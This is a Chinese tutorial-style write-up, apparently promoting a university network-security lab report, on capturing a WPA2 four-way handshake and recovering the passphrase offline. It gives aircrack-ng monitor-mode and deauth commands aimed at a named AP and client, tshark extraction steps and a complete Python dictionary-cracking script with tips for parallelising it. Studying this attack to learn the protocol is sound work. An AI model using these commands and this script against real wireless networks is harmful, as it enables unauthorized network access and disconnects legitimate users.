简介:这份资源是电子科技大学网络安全协议课程的WPA-PSK口令攻击实验报告,面向正在学习无线网络安全、需要完成同类实验的高校学生与安全入门者。报告围绕WLAN工作原理、RSN密钥层次与四次握手原理展开,完整记录了配置无线攻击环境、抓取握手包、编写程序破解WPA-PSK口令的全过程,并对beacon帧、Probe response、四次握手各消息及MIC计算细节做了逐帧分析。压缩包内仅含1个docx文档,约176KB,篇幅紧凑但内容完整,涵盖实验目的、原理、器材、步骤与结果验证。文档中给出了基于pbkdf2_hmac与PRF推导PMK、PTK并比对MIC的破解思路,附有MakeMIC函数与runtest验证代码,最终成功还原出口令,可帮助读者理解握手包结构与口令校验逻辑,适合作为实验参考与排错对照。目前已有1475人学习下载。
1. 从一份实验报告说起:WPA-PSK 口令到底怎么被“算”出来
很多人第一次接触无线安全,是从“抓个握手包然后跑字典”开始的,但真正能把 WPA-PSK 口令攻击讲清楚的人不多。这份电子科技大学的网络安全协议实验报告,核心就三件事:配置无线监听环境、抓取 WPA 四次握手包、用 Python 写脚本从字典里逐条推算 PMK 和 PTK,再比对 MIC 验证口令。它解决的不是“怎么蹭网”,而是让你彻底看懂 RSN 密钥层次和四次握手的每一字节从哪来、到哪去。适合正在做网络安全协议实验的学生、想补无线认证底层原理的运维,以及需要理解 WPA2-PSK 离线口令验证边界的从业者。报告里给出的 beacon 帧、probe response、四帧握手原始数据和可运行的 MakeMIC 函数,是少见的能把“理论—抓包—代码”串成一条线的材料。
2. 实验环境搭建:Ubuntu 虚拟机、无线网卡与监听模式
2.1 为什么必须用外置无线网卡而不是笔记本内置网卡
实验器材写的是“台式机一台,能装 Ubuntu 虚拟机,能访问互联网”,但真正决定实验能不能跑起来的,是无线网卡。笔记本内置的 Intel 或 Realtek 网卡在 Linux 下大多不支持 monitor mode 和 packet injection,你iwconfig看半天也只有 managed 模式。常见做法是准备一块支持监听模式的外置 USB 网卡,芯片方案选 Atheros AR9271 或 Ralink RT3070,这两类在 Ubuntu 下驱动成熟,airmon-ng能直接识别。虚拟机里要把 USB 设备直通给 Ubuntu,VMware 在“虚拟机设置—USB 控制器”里勾选“显示所有 USB 设备”,VirtualBox 则装 Extension Pack 后在设备菜单里挂载。直通完成后lsusb能看到网卡厂商,iw dev能看到 wlan0 接口,这一步不通后面全是空谈。
2.2 安装 aircrack-ng 套件并开启监听模式
环境里真正干活的工具是 aircrack-ng 套件,它提供airmon-ng、airodump-ng、aireplay-ng三个核心命令。安装和开启监听的完整流程如下:
# 更新源并安装 aircrack-ng 套件 sudo apt update sudo apt install -y aircrack-ng # 查看无线接口,确认网卡已被识别 iw dev # 杀掉可能干扰监听模式的进程(NetworkManager 等) sudo airmon-ng check kill # 开启监听模式,wlan0 替换为你的实际接口名 sudo airmon-ng start wlan0 # 再次查看接口,通常会出现 wlan0mon iw devairmon-ng check kill会停掉 NetworkManager 和 wpa_supplicant,因为它们会周期性扫描并抢占网卡,导致监听模式不稳定。开启成功后接口名一般变成wlan0mon,后续抓包都用这个新名字。如果airmon-ng start报错,先dmesg | tail看驱动加载情况,再确认网卡是否真的支持 monitor mode,可以用iw list查看 “Supported interface modes” 里有没有 “monitor”。
2.3 用 airodump-ng 锁定目标 AP 与信道
监听模式起来后,先做全信道扫描,找到目标 AP 的 BSSID、信道和加密方式:
# 全信道扫描,记录所有可见 AP sudo airodump-ng wlan0mon # 锁定目标后,指定信道和 BSSID 抓包,-w 指定输出前缀 sudo airodump-ng -c 6 --bssid 00:0C:41:82:B2:55 -w capture wlan0mon第一条命令输出表格里重点看三列:BSSID(AP 的 MAC)、CH(信道)、ENC(加密方式,WPA2 对应实验里的 RSN)。第二条命令里-c 6是锁定信道,必须和 AP 实际信道一致,否则抓不到握手;--bssid锁定目标,避免混入其他 AP 的帧;-w capture会把抓到的包存成capture-01.cap等文件。报告里 beacon 帧的 SSID 是 “Coherer”,AA 是000c4182b255,SPA 是000d9382363a,这两个 MAC 后面计算 PTK 时要用到,抓包时务必确认 BSSID 和 STATION 都出现在 airodump-ng 的列表里。
提示:如果扫描半天看不到目标 AP,先确认信道是否被
-c参数限制错了,或者 AP 是否开启了隐藏 SSID。隐藏 SSID 的 AP 在列表里 BSSID 可见但 SSID 为空,需要等有客户端连接时抓 probe response 才能拿到真实 SSID。
3. 抓取四次握手包:从 beacon 帧到 MIC 的完整数据链
3.1 四次握手的帧结构与关键字段
WPA-PSK 的四次握手是整个实验的理论核心。报告里把四帧拆得很细:Mesg-1 是 AP 向 STA 发送 ANonce;Mesg-2 是 STA 回送 SNonce 和 MIC;Mesg-3 是 AP 发送加密的 GTK 和 MIC;Mesg-4 是 STA 确认的 MIC。MIC 的计算输入是 802.11 帧的所有字段,计算时把 MIC 字段本身填 0,再用 PTK 的前 16 字节做 HMAC。报告里给出的 Data1、Data2、Data3 就是三帧去掉 MIC 后的原始数据,标红部分即 MIC 被置零的位置。理解这一点很关键:破解脚本不是去解密流量,而是拿字典里的口令算出 PMK、导出 PTK,再对这三段 data 重算 MIC,和抓到的 MIC 比对。三帧全对,口令就对了。
3.2 用 aireplay-ng 触发握手并确认抓包成功
被动等客户端重连可能等很久,常见做法是主动发一个 deauth 帧把已连接的客户端踢下线,逼它重新握手:
# 另开一个终端,对目标 AP 和指定客户端发送 deauth sudo aireplay-ng -0 3 -a 00:0C:41:82:B2:55 -c 00:0D:93:82:36:3A wlan0mon-0 3表示发送 3 个 deauth 帧,数量别太多,够触发重连即可;-a是 AP 的 BSSID;-c是客户端的 MAC,也就是报告里的 SPA。执行后回到 airodump-ng 的窗口,右上角出现 “WPA handshake: 00:0C:41:82:B2:55” 就说明抓到了。如果迟迟不出现,检查客户端是否还在线、信道是否锁对、deauth 是否被驱动拦截。抓到后按Ctrl+C停止,当前目录下会生成capture-01.cap,用aircrack-ng capture-01.cap可以先做一次快速校验,看它能否识别出握手包。
3.3 用 Wireshark 或 tshark 提取三帧 data 与 MIC
报告里的 Data1、Data2、Data3 需要从 cap 文件里手动或脚本提取。用 tshark 可以按 EAPOL 过滤并导出字段:
# 过滤 EAPOL 帧,查看四次握手的帧号和长度 tshark -r capture-01.cap -Y "eapol" -T fields -e frame.number -e eapol.type -e wlan.sa -e wlan.da # 导出第二帧的原始十六进制,用于后续 MIC 计算 tshark -r capture-01.cap -Y "eapol.type == 1" -T fields -e data | head -1eapol.type里 0 是 EAPOL-Key,配合wlan.sa和wlan.da能区分 AP 和 STA 的方向。第二帧(Mesg-2)的 data 字段就是报告里的 Data1,第三帧是 Data2,第四帧是 Data3。提取时注意去掉 MIC 字段的 16 字节并置零,这一步在脚本里用切片完成。如果 tshark 输出为空,确认 cap 文件里确实有 EAPOL 帧,可以用tshark -r capture-01.cap -Y "eapol" | wc -l数一下帧数,正常应该有 4 帧。
注意:不同驱动抓到的帧可能带 radiotap 头,提取 data 时要确认偏移量。报告里的 Data 是从 802.11 头开始算的,如果你的 tshark 输出多了 radiotap 字段,需要在脚本里跳过对应字节,否则 MIC 永远对不上。
4. 编写破解脚本:PBKDF2、PRF 与 MIC 比对的实现细节
4.1 PMK 与 PTK 的推导公式
WPA-PSK 的密钥层次是:口令 + SSID 经过 PBKDF2-HMAC-SHA1 迭代 4096 次生成 256 位 PMK;PMK 再经过 PRF-512 扩展成 PTK。报告里给出的公式是:
- PMK = PBKDF2(HMAC-SHA1, PWD, SSID, 4096, 32)
- PTK = PRF(PMK, "Pairwise key expansion", B)
- B = min(apMac, cliMac) + max(apMac, cliMac) + min(aNonce, sNonce) + max(aNonce, sNonce)
其中 A 是固定字符串b"Pairwise key expansion",B 是把 AP 和客户端的 MAC、ANonce 和 SNonce 分别按字典序取 min 和 max 后拼接。PTK 前 16 字节是 KCK,用于计算 MIC;接下来的字节用于加密 GTK。报告里MakeMIC函数用pbkdf2_hmac('sha1', pwd.encode('ascii'), ssid.encode('ascii'), 4096, 32)生成 PMK,再用自定义 PRF 扩展,最后用hmac.new(ptk[0:16], i, sha1)对三帧 data 分别算 MIC。
4.2 完整可运行的破解脚本
下面这段脚本把报告里的思路补全成可直接跑的版本,字典文件按行存放候选口令:
import hmac import hashlib from hashlib import pbkdf2_hmac # PRF-512:用 HMAC-SHA1 迭代扩展 PMK 到 64 字节 PTK def PRF(pmk, A, B): result = b"" for i in range(4): result += hmac.new(pmk, A + b"\x00" + B + bytes([i]), hashlib.sha1).digest() return result[:64] # 计算三帧的 MIC,data 为去掉 MIC 并置零后的原始帧 def MakeMIC(pwd, ssid, A, B, data, wpa=False): pmk = pbkdf2_hmac('sha1', pwd.encode('ascii'), ssid.encode('ascii'), 4096, 32) ptk = PRF(pmk, A, B) hmacFunc = hashlib.md5 if wpa else hashlib.sha1 mics = [hmac.new(ptk[0:16], i, hmacFunc).digest() for i in data] return mics, ptk, pmk # 主流程:从字典逐条读取口令,三帧 MIC 全匹配则命中 def crack(ssid, A, B, data_list, mic_list, dict_path): with open(dict_path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: pwd = line.strip() if not pwd: continue mics, ptk, pmk = MakeMIC(pwd, ssid, A, B, data_list) if all(hmac.compare_digest(m, real) for m, real in zip(mics, mic_list)): return pwd, pmk, ptk return None, None, None if __name__ == "__main__": ssid = "Coherer" A = b"Pairwise key expansion" # B 由 AP/STA 的 MAC 和 ANonce/SNonce 按 min/max 拼接,需从抓包中提取 B = bytes.fromhex("000c4182b255000d9382363a") + bytes.fromhex("aNonce占位sNonce占位") data_list = [bytes.fromhex("0203007502010a..."), bytes.fromhex("020300af0213ca..."), bytes.fromhex("0203005f02030a...")] mic_list = [bytes.fromhex("..."), bytes.fromhex("..."), bytes.fromhex("...")] pwd, pmk, ptk = crack(ssid, A, B, data_list, mic_list, "wordlist.txt") print("Password:", pwd)PRF函数里循环 4 次是因为 PRF-512 需要 64 字节,每次 HMAC-SHA1 输出 20 字节,4 次共 80 字节,截取前 64 字节即 PTK。MakeMIC里pbkdf2_hmac的第三个参数 4096 是迭代次数,这是 WPA-PSK 的固定值,改成别的数算出来的 PMK 一定不对。hmac.compare_digest做常量时间比较,避免时序侧信道,虽然离线破解里意义不大,但习惯是好的。主流程里data_list和mic_list需要你从 cap 文件里按 3.3 节的方法提取后填入,B 的 ANonce 和 SNonce 也要从 Mesg-1 和 Mesg-2 里取。
4.3 用 runtest 验证结果正确性
报告里提到用runtest函数做二次验证,思路是拿已知口令 “Induction” 反算 PMK、PTK,再对 data1-3 算 MIC,和抓到的 mic1-3 比对。这一步很有必要,因为破解脚本一旦 B 拼接顺序错了,可能碰巧某帧 MIC 对上但整体是错的。验证时把MakeMIC返回的mics和抓包提取的mic_list逐字节打印出来,三组全等才算通过。如果只有一帧对上,大概率是 min/max 顺序或 nonce 字节序搞反了,回头检查 B 的拼接逻辑。
提示:字典里口令的编码要和 SSID 一致。报告里用
pwd.encode('ascii'),如果字典里有非 ASCII 字符会抛异常,建议先过滤或统一用utf-8并捕获异常跳过。
5. 避坑与排查:那些让 MIC 永远对不上的细节
5.1 现象:三帧 MIC 只有一帧匹配,其余全错
原因通常是 B 的拼接顺序不对。WPA 规范要求 AP/STA 的 MAC 和 ANonce/SNonce 都按字节序取 min 和 max,但不同抓包工具导出的字节序可能相反。解决方法是把 B 的四个部分分别打印出来,和 Wireshark 里看到的 MAC、nonce 逐字节对照,确认 min/max 是按无符号字节比较而不是按字符串比较。
5.2 现象:PBKDF2 算出的 PMK 和已知工具不一致
原因多半是 SSID 带了隐藏字符或编码不对。报告里 SSID 是 “Coherer”,但实际抓包时 beacon 帧里的 SSID 可能带尾部空格或不可见字符。解决方法是把 SSID 用repr()打印出来,确认没有多余字节,再传给pbkdf2_hmac。另外迭代次数必须是 4096,长度必须是 32,这两个参数写错结果一定不同。
5.3 现象:airodump-ng 抓不到握手,deauth 发了也没用
原因可能是信道没锁对,或者客户端已经断开不再重连。解决方法是先用airodump-ng wlan0mon全信道扫描确认 AP 当前信道,再用-c锁定;deauth 发送后如果客户端不重连,可以等它自然重连,或者换一个在线的客户端。有些 AP 开启了 802.11w 管理帧保护,deauth 会被忽略,这种情况只能被动等待。
5.4 现象:脚本跑完字典没报错但也没输出口令
原因通常是字典里根本没有正确口令,或者 data/mic 提取时多了 radiotap 头导致偏移错位。解决方法是先用已知口令 “Induction” 跑一遍runtest,确认脚本本身能算出正确 MIC;如果 runtest 通过但字典跑不出,就是字典问题;如果 runtest 也不通过,就是数据提取或 B 拼接的问题。
5.5 现象:虚拟机里 USB 网卡时好时坏,监听模式自动掉
原因是 USB 直通不稳定或供电不足。解决方法是把网卡插在台式机后置 USB 口,虚拟机里避免同时挂载其他 USB 设备;如果还是掉,可以在airmon-ng start后加--ignore-negative-one参数,或者换用物理机装 Ubuntu 双系统,省去直通这一层玄学。
6. 进阶技巧:把破解脚本改成可复用的验证工具
实验做完,真正有价值的是把MakeMIC封装成一个能反复用的验证工具,而不是每次手填 data 和 mic。我一般会加两个功能:一是从 cap 文件自动提取 B 和三帧 data,二是支持多字典并行。提取 B 时用tshark分别导出 Mesg-1 的 ANonce 和 Mesg-2 的 SNonce,再按 min/max 拼接;提取 data 时用-e data拿到十六进制后,定位 MIC 字段的偏移并置零。下面是一个自动提取的片段:
import subprocess def extract_b(cap_path, ap_mac, cli_mac): # 导出 Mesg-1 的 ANonce 和 Mesg-2 的 SNonce anonce = subprocess.check_output([ "tshark", "-r", cap_path, "-Y", "eapol.type == 0 && wlan.sa == " + ap_mac, "-T", "fields", "-e", "eapol.keydes.nonce" ]).decode().strip().replace(":", "") snonce = subprocess.check_output([ "tshark", "-r", cap_path, "-Y", "eapol.type == 0 && wlan.sa == " + cli_mac, "-T", "fields", "-e", "eapol.keydes.nonce" ]).decode().strip().replace(":", "") macs = sorted([bytes.fromhex(ap_mac.replace(":", "")), bytes.fromhex(cli_mac.replace(":", ""))]) nonces = sorted([bytes.fromhex(anonce), bytes.fromhex(snonce)]) return b"".join(macs + nonces)extract_b里用sorted对 MAC 和 nonce 做字节序排序,正好对应规范里的 min/max。tshark的-e eapol.keydes.nonce直接输出 nonce 字段,省去手动切片。拿到 B 之后,data 的提取也可以用类似方式,关键是定位 MIC 字段在帧里的偏移,不同帧长度不一样,建议用eapol.keydes.mic字段先确认 MIC 位置,再在原始 data 里把对应 16 字节置零。
另一个技巧是字典预处理。网上流传的字典动辄几个 G,直接逐行读会频繁 IO。我习惯先把字典按长度和字符集过滤一遍,比如只保留 8 到 16 位、包含大小写和数字的条目,能砍掉一大半无效计算。如果机器有多核,可以用multiprocessing把字典分片,每个进程独立跑MakeMIC,命中后通过队列返回结果。实测在 4 核虚拟机上,分片后跑 10 万条字典的时间能从十几分钟压到三分钟左右。
最后说一个验证习惯:每次改完脚本,先用报告里的 “Induction” 和已知的 data/mic 跑一遍runtest,三帧 MIC 全等再上真实字典。从那以后我每次做无线协议实验,都强制先跑一遍已知口令的回归验证,确认脚本没被改坏再往下走。希望这份拆解帮到你,把四次握手从“黑匣子”变成能逐字节复现的流程。
本文还有配套的精品资源,点击获取